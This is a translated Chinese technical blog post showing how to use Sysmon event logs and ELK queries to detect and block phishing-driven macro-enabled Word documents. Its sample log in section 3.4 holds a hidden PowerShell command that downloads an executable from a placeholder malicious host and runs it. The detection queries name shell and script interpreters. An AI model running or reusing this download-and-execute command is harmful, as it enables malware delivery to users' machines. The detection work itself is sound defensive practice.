【技术分享】Sysmon在威胁检测中的应用:检测启用宏的Word文档

http://p2.qhimg.com/t019e2957b264d89cb6.png

译者:興趣使然的小胃

预估稿费:170RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

Sysmon是一款非常有用的工具,可以帮助我们了解系统中正在运行的程序以及端点正发生的变化。

因此,我们可以在日常应急响应事件中运用Sysmon,比如,当用户点击带有链接或附件的电子邮件,并打开启用的Word文档时,正是该工具发挥作用的场景。


二、事件源:Email

在本文所举的例子中,用户会收到各种形式的电子邮件,其中可能包含链接或者某个附件。

http://p8.qhimg.com/t01b14365e404ed7875.png

在这些场景中,当用户执行如下操作时,我们可以使用sysmon记录下用户采取的具体操作。我会在其中包含字段名称,以便在ELK环境中快速搜索相关的命令及进程。

在Sysmon的事件中,有如下几个编号与这类场景有关:

Event ID 1:Process creation。进程创建事件可以提供有关新创建进程的扩展信息。比如,我们能够知道进程执行上下文所用的完整命令,ProcessGUID是个唯一标识符,可以跨域标识某个进程,使事件关联处理更加方便,哈希字段为文件的完整哈希,所用的哈希算法如HashType字段所示。

Event ID 11:FileCreate。当文件被创建或被覆盖时,就会记录下文件创建操作。该事件对监控自启动位置而言非常有用,如启动目录(Startup)、临时目录、下载目录等等,这些目录是恶意软件在初始感染阶段经常用到的目录。

Event ID 15:FileCreateStreamHash。当创建命名文件流时就会生成该事件,事件日志中会记录下文件流所对应的文件内容的哈希值以及命名文件流的内容。有些恶意软件变种会通过浏览器下载方式释放可执行文件或配置文件,这种事件的目标就是捕获基于浏览器的被打上MOTW(mark of the web)区域标识符的数据流。


三、具体操作

现在开始分析具体的操作。

3.1 点击钓鱼邮件链接

http://p8.qhimg.com/t01b6b0e48a62e1f10f.png

相关字段如下:

EventID: 1
event_data.ParentCommandLine: “C:Program Files (x86)Microsoft OfficeOffice14OUTLOOK.EXE”
event_data.Image: C:Program FilesInternet Exploreriexplore.exe
event_data.CommandLine: “C:Program FilesInternet Exploreriexplore.exe” https://Dcompany.life_qliwiwkwstxrkgbbz_bdfnccd&d=DwMF-Q&c=LQ_lgKiodJdZA
event_data.User: PhishedUser

该事件代表的含义是,PhishedUser用户在outlook中点击了某个链接,启动了IE浏览器,打开了https://company.life_q…..com这个网址。

3.2 下载Word文档

相关字段如下:

EventID: 11
event_data.Image: C:Program Files (x86)Internet ExplorerIEXPLORE.EXE
event_data.TargetFilename: C:UsersPhisedUserAppDataLocalMicrosoftWindowsTemporary Internet FilesContent.IE5POHSQH126E713D2A.doc

该事件代表的含义是,IE浏览器下载了一个名为6E713D2A.doc的文件。

注意:某些事件中可能会记录下.tmp文件,这是因为当记录该事件时,这个文件还没有下载完毕。

3.3 打开Word文档

http://p2.qhimg.com/t01d4e7a316e64f3fe6.png

相关字段如下:

EventID: 1
event_data.Image: C:Program Files (x86)Microsoft OfficeOffice14WINWORD.EXE
event_data.TargetFilename: C:UsersPhisedUserAppDataLocalMicrosoftWindowsTemporary Internet FilesContent.IE5POHSQH126E713D2A.doc

该事件代表的含义是,用户使用Word打开了6E713D2A.doc文档。

3.4 启用宏的Word文档

http://p9.qhimg.com/t0176e4bfca4da43287.png

相关字段如下:

EventID: 1
event_data.ParentImage: C:Program Files (x86)Microsoft OfficeOffice14WINWORD.EXE
event_data.ParentCommandLine: “C:Program Files (x86)Microsoft OfficeOffice14WINWORD.EXE” -Embedding
event_data.Image: C:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe
event_data.CommandLine: powershell -WindowStyle Hidden $webclient = new-object System.Net.WebClient;$myurls = ‘http://Malicioussite.su/z3FRJz’.Split(‘,’);$path = $env:temp + ‘65536.exe’;foreach($myurl in $myurls){try{$webclient.DownloadFile($myurl.ToString(), $path);Start-Process $path;break;}catch{}}
event_data.User: PhisedUser

该事件代表的含义是,用户启用了该文档所附加的宏,运行了一条powershell命令,尝试从http://Malicioussite.su/z3FRJz处下载一个名为65536.exe的可执行文件。

3.5 通过Powershell下载载荷

http://p9.qhimg.com/t011cb6fba115e513d7.png

相关字段如下:

event_id: 11
event_data.Image: C:WindowsSysWOW64WindowsPowerShellv1.0powershell.exe
event_data.TargetFilename: C:UsersPhisedUserAppDataLocalTemp65536.exe

该事件代表的含义是,Powershell下载了65536.exe文件,并将其保存到C:UsersPhisedUserAppDataLocalTemp目录中。

随后,可执行文件可能会执行多种操作,比如加密用户的文件、建立某种持久化机制等。此时,如果你希望了解恶意软件在端点上所执行的其他具体操作,你可以参考这些资料了解更多信息:如何梳理未经授权的软件如何检测出站连接

我们已经了解到这些事件的记录方式,现在我们可以进一步简化这类操作的查找过程。


四、检测相关操作

如果你部署了优秀的日志管理方案(如ELK、Splunk等),你就可以设置预定义的已保存的搜索过滤条件,可以帮你在实际环境中寻找目标对象。比如,你可以使用如下查询语句,查找通过Word或微软其他产品启动的特定进程(如cscript.exe、cmd.exe、powershell.exe、wscript.exe)。

event_data.ParentImage: office AND (event_data.Image: (wscript.exe OR cscript.exe OR cmd.exe or powershell.exe))

查询结果如下:

http://p2.qhimg.com/t014ffea2ac6be95aa6.png

此外,微软产品(Word、Excel、PowerPoint等)还可以调用其他可执行程序,如下所示:

rundll.32.exe。通常你会观察到编号为1的事件,该事件与文档打印(File->Print)或者outlook中的文件索引有关(“C:WindowsSystem32rundll32.exe” shell32.dll,Control_RunDLL “srchadmin.dll”)。

conhost.exe

regsvr32.exe

explorer.exe

此外,还有一些查询语句非常有用,可以查找在outlook中使用word打开的“.doc”文档。

比如,查找Sysmon Event ID 1相关事件:

event_data.ParentImage: outlook.exe AND event_data.CommandLine: “.doc”

以及,查找Sysmon Event ID 15相关事件:

event_data.Image: outlook.exe AND event_data.TargetFilename: “.doc”

请确保你已经仔细检查过实际环境中的所有元素,识别正常以及不正常的应用程序行为,修改查询语句,以精确区分所有预期的以及意外的行为。


五、如何防护此类宏

我们无法阻止用户从互联网上接收.doc文档。这里我给出了一些方法,可以保护你的组织免受通过Word宏文档传播的恶意软件的威胁:

1、组织用户进行安全意识培训。在面对任何安全风险或威胁时,这应该是首要选项。你需要教会用户保持谨慎的态度,在点击鼠标之前三思而后行。

2、通过GPO阻止宏运行(Office 2016)。对于Office 2013,你可以修改Office选项,设置为“禁用所有宏,并发出通知”或者“禁用所有宏,并不发出通知”。

3、阻止载荷下载。通过应用层防火墙,你可以阻止.exe程序下载文件,只允许从白名单可信站点下载(如updates.microsoft、Oracle、Dell等)。

最后,还有几个要点:

请监控所有端点日志。

采用积极主动的防御措施。根据历史攻击记录创建通知事件,以便感知任何活跃的安全事件。

继续培训用户!!!

在下一篇文章中,我会介绍如何根据编号为15的Sysmon事件查找用户通过常见浏览器下载文件的行为。

(完)